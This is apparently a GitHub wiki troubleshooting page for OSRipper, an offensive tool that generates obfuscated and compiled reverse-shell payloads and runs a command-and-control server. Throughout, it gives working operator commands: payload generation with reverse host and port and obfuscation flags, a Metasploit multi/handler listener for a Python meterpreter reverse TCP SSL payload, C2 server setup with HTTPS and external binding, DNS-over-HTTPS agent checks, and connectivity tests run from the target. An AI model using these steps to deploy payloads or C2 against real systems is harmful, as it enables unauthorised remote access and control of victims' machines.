-
Notifications
You must be signed in to change notification settings - Fork 54
Troubleshooting
Common issues and solutions for OSRipper usage.
- Installation Issues
- Payload Generation Issues
- C2 Server Issues
- Connection Issues
- Compilation Issues
- Performance Issues
Symptoms:
osripper: command not foundosripper-cli: command not found
Solutions:
-
Use Python module:
python3 -m osripper python3 -m osripper.cli
-
Check installation:
pip3 show osripper
-
Reinstall:
pip3 install -e . -
Check PATH:
echo $PATH which python3
Symptoms:
ModuleNotFoundError: No module named 'osripper'- Import errors
Solutions:
-
Install dependencies:
pip3 install -r requirements.txt
-
Reinstall package:
pip3 install -e . --force-reinstall -
Check Python version:
python3 --version # Should be 3.6+ -
Use virtual environment:
python3 -m venv venv source venv/bin/activate pip3 install -r requirements.txt pip3 install -e .
Symptoms:
-
Permission deniederrors - Cannot write to directories
Solutions:
-
Use --user flag:
pip3 install -r requirements.txt --user
-
Fix permissions:
chmod +x src/osripper/cli.py
-
Use virtual environment:
python3 -m venv venv source venv/bin/activate
Symptoms:
- Error during payload generation
- No output file created
Solutions:
-
Check file permissions:
ls -la results/ chmod 755 results/
-
Check disk space:
df -h
-
Review error messages:
osripper-cli reverse -H IP -p PORT --verbose
-
Test with simple payload:
osripper-cli reverse -H 127.0.0.1 -p 4444
Symptoms:
- Obfuscation errors
- Syntax errors in obfuscated code
Solutions:
-
Test source code first:
python3 payload.py
-
Check Python version:
python3 --version
-
Try standard obfuscation:
osripper-cli reverse -H IP -p PORT --obfuscate # Instead of --enhanced -
Review obfuscator logs:
- Check console output for errors
Symptoms:
- "Invalid IP address" errors
- "Port must be between 1024 and 65535"
Solutions:
-
Verify IP format:
# Valid: 192.168.1.100 # Invalid: 192.168.1
-
Check port range:
# Valid: 1024-65535 # Invalid: 80, 443, etc.
-
Validate domain:
# Valid: example.com # Invalid: http://example.com
Symptoms:
- "Address already in use"
- Port binding errors
Solutions:
-
Check if port is in use:
netstat -tulpn | grep 5000 lsof -i :5000 -
Use different port:
python -m osripper.c2.server example.com --port 8080
-
Kill existing process:
kill -9 $(lsof -t -i:5000)
-
Check permissions:
# Ports < 1024 require root sudo python -m osripper.c2.server example.com --port 80
Symptoms:
- Cannot access http://localhost:5000
- Connection refused
Solutions:
-
Verify server is running:
ps aux | grep osripper -
Check firewall:
sudo ufw status sudo ufw allow 5000/tcp
-
Check host binding:
# Use 0.0.0.0 for external access python -m osripper.c2.server example.com --host 0.0.0.0 -
Test locally:
curl http://localhost:5000
Symptoms:
- Certificate generation fails
- SSL errors
Solutions:
-
Check certificate files:
ls -la c2_server.crt c2_server.key
-
Regenerate certificate:
rm c2_server.crt c2_server.key python -m osripper.c2.server example.com --https
-
Use custom certificate:
openssl req -x509 -newkey rsa:4096 \ -keyout server.key -out server.crt -days 365 -nodes python -m osripper.c2.server example.com \ --https --cert server.crt --key server.key
-
Check certificate permissions:
chmod 600 server.key chmod 644 server.crt
Symptoms:
- Database locked errors
- Session not saving
Solutions:
-
Check database permissions:
ls -la c2_sessions.db chmod 644 c2_sessions.db
-
Check disk space:
df -h
-
Use custom database location:
python -m osripper.c2.server example.com --db /tmp/sessions.db
-
Backup and recreate:
cp c2_sessions.db c2_sessions.db.backup rm c2_sessions.db
Symptoms:
- No connection received
- Timeout errors
Solutions:
-
Check listener:
# Verify Metasploit listener is running msfconsole -q -x 'use multi/handler; set payload python/meterpreter/reverse_tcp_ssl; set LHOST 0.0.0.0; set LPORT 4444; exploit'
-
Verify IP address:
# Check your IP hostname -I curl ifconfig.me -
Check firewall:
# Allow incoming connections sudo ufw allow 4444/tcp -
Test connectivity:
# From target, test connection nc -zv YOUR_IP 4444
Symptoms:
- Agent not appearing in dashboard
- DNS queries failing
Solutions:
-
Verify DNS resolution:
nslookup example.com dig example.com
-
Check DoH endpoint:
curl "https://example.com/dns-query?name=test&type=TXT" -
Verify domain configuration:
- Check DNS A record
- Verify domain points to server IP
- Check port forwarding
-
Test DoH locally:
curl "http://localhost:5000/dns-query?name=test&type=TXT"
Symptoms:
- Certificate validation fails
- Connection refused
Solutions:
-
Verify fingerprint:
curl http://localhost:5000/api/cert-fingerprint
-
Check payload configuration:
- Ensure fingerprint matches
- Verify base URL is correct
-
Regenerate payload:
- Get new fingerprint
- Regenerate payload with correct fingerprint
Symptoms:
- "Nuitka not installed" errors
- Compilation fails
Solutions:
-
Install Nuitka:
pip3 install nuitka
-
Verify installation:
python3 -m nuitka --version
-
Check system dependencies:
# Ubuntu/Debian sudo apt install build-essential python3-dev # macOS xcode-select --install
Symptoms:
- Compilation errors
- Binary not created
Solutions:
-
Check source code:
# Test source before compilation python3 payload.py -
Review error messages:
- Check Nuitka output
- Look for missing dependencies
-
Try without obfuscation:
osripper-cli reverse -H IP -p PORT --compile # Without --obfuscate -
Check disk space:
df -h # Compilation requires significant space
Symptoms:
- Binary file is very large
- Slow execution
Solutions:
-
Reduce dependencies:
- Minimize imports
- Remove unused code
-
Use optimization:
# Nuitka optimization flags (future feature) -
Skip compilation:
# Use Python payload instead osripper-cli reverse -H IP -p PORT --obfuscate
Symptoms:
- Generation takes too long
- System becomes unresponsive
Solutions:
-
Skip compilation:
# Faster without compilation osripper-cli reverse -H IP -p PORT --obfuscate -
Use standard obfuscation:
# Enhanced obfuscation is slower osripper-cli reverse -H IP -p PORT --obfuscate # Instead of --enhanced
-
Check system resources:
top free -h
Symptoms:
- System running out of memory
- OOM errors
Solutions:
-
Close other applications
-
Use swap space:
sudo swapon --show
-
Generate payloads one at a time
Symptoms:
- Slow web UI
- Database queries timeout
Solutions:
-
Clean old data:
sqlite3 c2_sessions.db "DELETE FROM command_history WHERE timestamp < datetime('now', '-30 days');" -
Vacuum database:
sqlite3 c2_sessions.db "VACUUM;" -
Use custom database location:
python -m osripper.c2.server example.com --db /tmp/sessions.db
Enable debug mode for more information:
# C2 server debug mode
python -m osripper.c2.server example.com --debug
# Verbose CLI output
osripper-cli reverse -H IP -p PORT --verboseCheck log files for errors:
# Server logs (stdout/stderr)
python -m osripper.c2.server example.com 2>&1 | tee server.log
# System logs
journalctl -u osripper-c2 -f- GitHub Issues: Open an issue
- Discussions: GitHub Discussions
- Documentation: Check wiki pages
For more information, see the Usage Guide and Advanced Features pages.